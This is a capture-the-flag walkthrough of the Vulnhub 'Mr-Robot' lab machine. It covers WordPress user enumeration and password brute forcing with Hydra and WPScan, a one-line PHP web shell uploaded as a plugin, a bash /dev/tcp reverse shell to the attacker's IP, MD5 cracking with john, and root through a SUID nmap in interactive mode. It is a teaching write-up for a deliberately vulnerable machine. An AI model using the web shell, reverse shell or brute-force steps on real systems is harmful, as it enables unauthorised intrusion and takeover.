Mr-Robot – Vulnhub Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: Vulnhub

‘Mr-Robot’ Avatar


Summary Link to heading

Mr-Robot is an easy and free Linux machine from Vulnhub. After an initial scan above TCP ports, they show the victim machine is running a website. This website is running on WordPress. Since Wordpress shows a different message when a user exists or not (even if we provide a wrong password), we can abuse this message error to search for valid users thanks to a previously found dictionary. We can use this dictionary to bruteforce the user and the password for this user. Once inside the WordPress panel, we are able to add a custom malicious plugin and gain initial access to the target machine. We are able to find a password hash and crack it though a Bruteforce Password Cracking and pivot to a new user. Finally, we see that there is an unusual SUID file which can be abused to gain access as root user.


User Link to heading

  • Starting with a Nmap scan for open TCP ports shows the following:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.20.1.120

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 01:02 -04
Initiating ARP Ping Scan at 01:02
Scanning 10.20.1.120 [1 port]
Completed ARP Ping Scan at 01:02, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 01:02
Scanning 10.20.1.120 [65535 ports]
Discovered open port 443/tcp on 10.20.1.120
Discovered open port 80/tcp on 10.20.1.120
Completed SYN Stealth Scan at 01:03, 26.39s elapsed (65535 total ports)
Nmap scan report for 10.20.1.120
Host is up, received arp-response (0.00038s latency).
Scanned at 2024-08-13 01:02:38 -04 for 26s
Not shown: 65532 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE REASON
80/tcp  open  http    syn-ack ttl 64
443/tcp open  https   syn-ack ttl 64
MAC Address: 08:00:27:67:F5:05 (Oracle VirtualBox virtual NIC)

From the scan we can see 2 ports open: 80 HTTP and 443 HTTPs:

❯ sudo nmap -sVC -p80,443 10.20.1.120 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 01:06 -04
Nmap scan report for 10.20.1.120
Host is up (0.00038s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:67:F5:05 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds

Using WhatWeb on this site shows the following:

❯ whatweb -a3 http://10.20.1.120

http://10.20.1.120 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.20.1.120], Script, UncommonHeaders[x-mod-pagespeed], X-Frame-Options[SAMEORIGIN]

where I can’t see any interesting info. Visiting http://10.120.1.120 (the victim’s machine IP address) shows a simple webpage:

MrRobot 1

There I can see many “commands” as options. Selecting every one of them shows different videos and posts related to “Mr. Robot” show series. At this point I start to search for directories attempting a Brute Force Directory Listing with Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.120 -x php,txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.20.1.120
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 234] [--> http://10.20.1.120/images/]
/index.php            (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/blog                 (Status: 301) [Size: 232] [--> http://10.20.1.120/blog/]
/rss                  (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/sitemap              (Status: 200) [Size: 0]
/login                (Status: 302) [Size: 0] [--> http://10.20.1.120/wp-login.php]
/0                    (Status: 301) [Size: 0] [--> http://10.20.1.120/0/]
/feed                 (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/video                (Status: 301) [Size: 233] [--> http://10.20.1.120/video/]
/image                (Status: 301) [Size: 0] [--> http://10.20.1.120/image/]
/atom                 (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/atom/]
/wp-content           (Status: 301) [Size: 238] [--> http://10.20.1.120/wp-content/]
/admin                (Status: 301) [Size: 233] [--> http://10.20.1.120/admin/]
/audio                (Status: 301) [Size: 233] [--> http://10.20.1.120/audio/]
/intro                (Status: 200) [Size: 516314]
/wp-login             (Status: 200) [Size: 2657]
/wp-login.php         (Status: 200) [Size: 2657]
/css                  (Status: 301) [Size: 231] [--> http://10.20.1.120/css/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/license              (Status: 200) [Size: 309]
/license.txt          (Status: 200) [Size: 309]
/wp-includes          (Status: 301) [Size: 239] [--> http://10.20.1.120/wp-includes/]
/js                   (Status: 301) [Size: 230] [--> http://10.20.1.120/js/]
/wp-register.php      (Status: 301) [Size: 0] [--> http://10.20.1.120/wp-login.php?action=register]
/Image                (Status: 301) [Size: 0] [--> http://10.20.1.120/Image/]
/wp-rss2.php          (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/rdf                  (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/rdf/]
/page1                (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/readme               (Status: 200) [Size: 64]
/robots               (Status: 200) [Size: 41]
/robots.txt           (Status: 200) [Size: 41]
/dashboard            (Status: 302) [Size: 0] [--> http://10.20.1.120/wp-admin/]
/%20                  (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/wp-admin             (Status: 301) [Size: 236] [--> http://10.20.1.120/wp-admin/]

From these directories I note that this site is running on WordPress. Visiting http://10.20.1.120/wp-admin directory just confirms it:

MrRobot 2

Additionally, I note there is a robots.txt file. Checking it with cURL on console shows:

❯ curl -s http://10.20.1.120/robots.txt

User-agent: *
fsocity.dic
key-1-of-3.txt

where I can see 2 potential files: fsocity.dic and key-1-of-3.txt If I check the content of http://10.20.1.120/fsocity.dic we have a lot of words. We can visit that page in a web browser and this file will be downloaded. I note that this dictionary has 858160 lines/words:

❯ cat fsocity.dic | wc -l
858160

key-1-of-3.txt file shows some text:

❯ curl -s http://10.20.1.120/key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

which is the first flag of the machine. At this point, since the site is using WordPress, I will use WPScan against this site. First, scanning for plugins:

❯ wpscan -e ap --plugins-detection aggressive --url http://10.20.1.120 -t 40
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://10.20.1.120/ [10.20.1.120]
[+] Started: Tue Aug 13 01:36:17 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache
 |  - X-Mod-Pagespeed: 1.9.32.3-4523
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://10.20.1.120/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.20.1.120/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] The external WP-Cron seems to be enabled: http://10.20.1.120/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.20.1.120/0a0fd7f.html, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.3.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.20.1.120/0a0fd7f.html, Match: 'WordPress 4.3.1'

[+] WordPress theme in use: twentyfifteen
 | Location: http://10.20.1.120/wp-content/themes/twentyfifteen/
 | Last Updated: 2023-11-07T00:00:00.000Z
 | Readme: http://10.20.1.120/wp-content/themes/twentyfifteen/readme.txt
 | [!] The version is out of date, the latest version is 3.6
 | Style URL: http://10.20.1.120/wp-content/themes/twentyfifteen/style.css?ver=4.3.1
 | Style Name: Twenty Fifteen
 | Style URI: https://wordpress.org/themes/twentyfifteen/
 | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.20.1.120/wp-content/themes/twentyfifteen/style.css?ver=4.3.1, Match: 'Version: 1.3'

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:29:34 <=====================================================================================> (104860 / 104860) 100.00% Time: 00:29:34
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://10.20.1.120/wp-content/plugins/akismet/
 | Latest Version: 5.3.1
 | Last Updated: 2024-01-17T22:32:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.20.1.120/wp-content/plugins/akismet/, status: 403
 |
 | The version could not be determined.

<SNIP>

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Aug 13 02:06:24 2024
[+] Requests Done: 104918
[+] Cached Requests: 55
[+] Data Sent: 27.47 MB
[+] Data Received: 33.071 MB
[+] Memory used: 434.199 MB
[+] Elapsed time: 00:30:06

Old WordPress version shows the message Invalid username when we provide an invalid username and/or password. But if the user exists this message is not displayed. For example:

MrRobot 4

If a user exists, but the password is not correct, we usually don’t get this message. We can play with this response with Hydra attempting to “bruteforce” users from the dictionary we have just downloaded. I note that there are some duplicated lines in fsocity.dic file, so we save the non-repeated lines into a new file:

❯ sort -u fsocity.dic > sorted_fsocity.dic

Doing this small step saves us a lot of time, since we pass from the original file with a huge number of lines (more than 80 000+):

❯ cat fsocity.dic | wc -l

858160

to only almost 11 000:

❯ cat sorted_fsocity.dic | wc -l

11451

To see what is sent to the server when we make a request to /wp-login.php I start a listener with Burpsuite. I intercept the request sent after testing with user user and password password. Doing this we get:

MrRobot 3

POST /wp-login.php HTTP/1.1
Host: 10.20.1.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://10.20.1.120
DNT: 1
Connection: close
Referer: http://10.20.1.120/wp-login.php
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

log=user&pwd=password&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.20.1.120%2Fwp-admin%2F&testcookie=1

where the important part is the data sent as POST request at the bottom of it. I note that if we just send the data:

log=<user>&pwd=<password>

the HTTP request from above works as well. Now, use Hydra. We want to make HTTP requests until the response does not contain the string Invalid username. We can do this running:

❯ hydra -L sorted_fsocity.dic -p testrandompassword 10.20.1.120 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"  -V -F

where:

  1. -L is a file containing the potential users. In this case is fsocity.dic file without the repeated lines.
  2. -p is a random password for the WordPress login panel.
  3. http-post-form is the method used by Hydra to attempt a bruteforce.
  4. "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" is the post data to send. First we specify the route /wp.login.php. After the first two dots :, we specify the data to post; ^USER^ will be replaced by the values of the file provided with -L whereas ^PASS^ will be replaced by the value provided by -p flag. After the second two dots we pass the text that does not have to be present in the response.
  5. -V is the verbose option to view the sent requests.
  6. -F is to stop when a valid combination is found.
  • After some time I get something:
❯ hydra -L sorted_fsocity.dic -p testrandompassword 10.20.1.120 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -V -F

<SNIP>
[ATTEMPT] target 10.20.1.120 - login "emails" - pass "testrandompassword" - 5487 of 11452 [child 15] (0/0)
[ATTEMPT] target 10.20.1.120 - login "embed" - pass "testrandompassword" - 5488 of 11452 [child 7] (0/0)
[80][http-post-form] host: 10.20.1.120   login: elliot   password: testrandompassword
[STATUS] attack finished for 10.20.1.120 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-13 03:21:00

where we have a user: elliot As was mentioned before, if we put the user elliot and a random password at /wp-login.php the error message is different:

MrRobot 5

Now, I can use this user to attempt a bruteforce login through a Brute Force Password Login. For this we can use again WPScan:

❯ wpscan --password-attack xmlrpc -t 20 -U elliot -P sorted_fsocity.dic --url http://10.20.1.120

<SNIP>
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - elliot / ER28-0652
Trying elliot / escape Time: 00:01:58 <==============================                                                                > (5640 / 17091) 32.99%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: elliot, Password: ER28-0652

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Aug 13 03:25:40 2024
[+] Requests Done: 5813
[+] Cached Requests: 6
[+] Data Sent: 2.883 MB
[+] Data Received: 3.8 MB
[+] Memory used: 311.969 MB
[+] Elapsed time: 00:02:09

where we have valid credentials: elliot:ER28-0652 Using these credentials work and we are inside the panel:

Mr Robot

Now we can try to inject some code in some of the editable files we have. For this we can click on Plugins and then on Add New. If we do that we should see:

MrRobot 7

Now, I will create a “malicious” plugin with the following PHP code in a file called CMD.php:

<?php
 /*
 Plugin Name: CMD Plugin
 Version: 1.0.0
 Author: gunzf0x
 Author URI: wordpress.org
 License: GPL2
 */
system($_REQUEST["CMD"]);
?>

and compress it to a .zip file which I will call webshell.zip:

❯ zip webshell.zip CMD.php

  adding: CMD.php (deflated 8%)

Back to WordPress portal, click on Upload Plugin button at the top of the site and select our created .zip file. We should see something like:

MrRobot 8

and click on Install Now. If this worked we should now see:

MrRobot 9

where it says that our plugin has been successfully installed. Since my plugin is called webshell with a file CMD.php within it, it should be located at /wp-content/plugins/webshell directory. I check if this site exists with cURL:

❯ curl -I http://10.20.1.120/wp-content/plugins/webshell/CMD.php

HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 03:52:15 GMT
Server: Apache
X-Powered-By: PHP/5.5.29
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=0, no-cache
Content-Type: text/html; charset=UTF-8

and our malicious plugin is there. We check if we can remotely can run commands with cURL as well. For example, for the command id:

❯ curl -s -X GET -G 'http://10.20.1.120/wp-content/plugins/webshell/CMD.php' --data-urlencode 'CMD=id'

uid=1(daemon) gid=1(daemon) groups=1(daemon)

I will start a netcat listener on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

and now send me a reverse shell with cURL through the malicious plugin:

❯ curl -s -X GET -G 'http://10.20.1.120/wp-content/plugins/webshell/CMD.php' --data-urlencode 'CMD=bash -c "bash -i >& /dev/tcp/10.20.1.115/443 0>&1"'

where 10.20.1.115 is my attacker IP address and 443 is the port I am already listening with netcat I get a reverse shell as daemon user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.20.1.115] from (UNKNOWN) [10.20.1.120] 58162
bash: cannot set terminal process group (1715): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins/webshell$ whoami

daemon

I note that there is a user robot in the machine:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -la /home

total 12
drwxr-xr-x  3 root root 4096 Nov 13  2015 .
drwxr-xr-x 22 root root 4096 Sep 16  2015 ..
drwxr-xr-x  2 root root 4096 Nov 13  2015 robot

and inside its directory we have:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -la /home/robot

total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

where we can see a file password.raw-md5 Reading it provides a hash:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /home/robot/password.raw-md5

robot:c3fcd3d76192e4007dfb496cca67e13b

I save this user and hash into a file called robot_hash and attempt a Brute Force Password Cracking with JohnTheRipper (john). Using hash-identifier shows it is a MD5 hash:

❯ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: c3fcd3d76192e4007dfb496cca67e13b

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>

Therefore with john we set Raw-MD5 format. We try to crack the hash using rockyou.txt dictionary:

❯ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt robot_hash

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (?)
1g 0:00:00:00 DONE (2024-08-13 04:20) 50.00g/s 2035Kp/s 2035Kc/s 2035KC/s bonjour1..teletubbies
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

We have credentials: robot:abcdefghijklmnopqrstuvwxyz Since we do not have any service available at the machine, I pivot to this user internally providing the found password:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ su robot

Password:

robot@linux:/opt/bitnami/apps/wordpress/htdocs$ whoami

robot

where we can see the second flag/user flag:

robot@linux:~$ cat /home/robot/key-2-of-3.txt

822c73956184f694993bede3eb39f959

Root Link to heading

Finally, searching for SUID binaries shows one that is not common:

robot@linux:~$ find / -perm -4000 2>/dev/null

/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

where /usr/local/bin/nmap is not a common one. Based on GTFOBins for Nmap, the versions for Nmap that have --interactive flag are from 2.02 to 5.21. Checking our Nmap binary version:

robot@linux:~$ /usr/local/bin/nmap -V

nmap version 3.81 ( http://www.insecure.org/nmap/ )

we have a version 3.81. Therefore I use Nmap in interactive mode and spawn a shell as GTFOBins indicates:

robot@linux:~$ nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help

nmap> !/bin/sh

# whoami

root

and that’s it! We can read the last key/flag:

# cat /root/key-3-of-3.txt

04787ddef27c3dee1ee161b21670b4e4

~Happy Hacking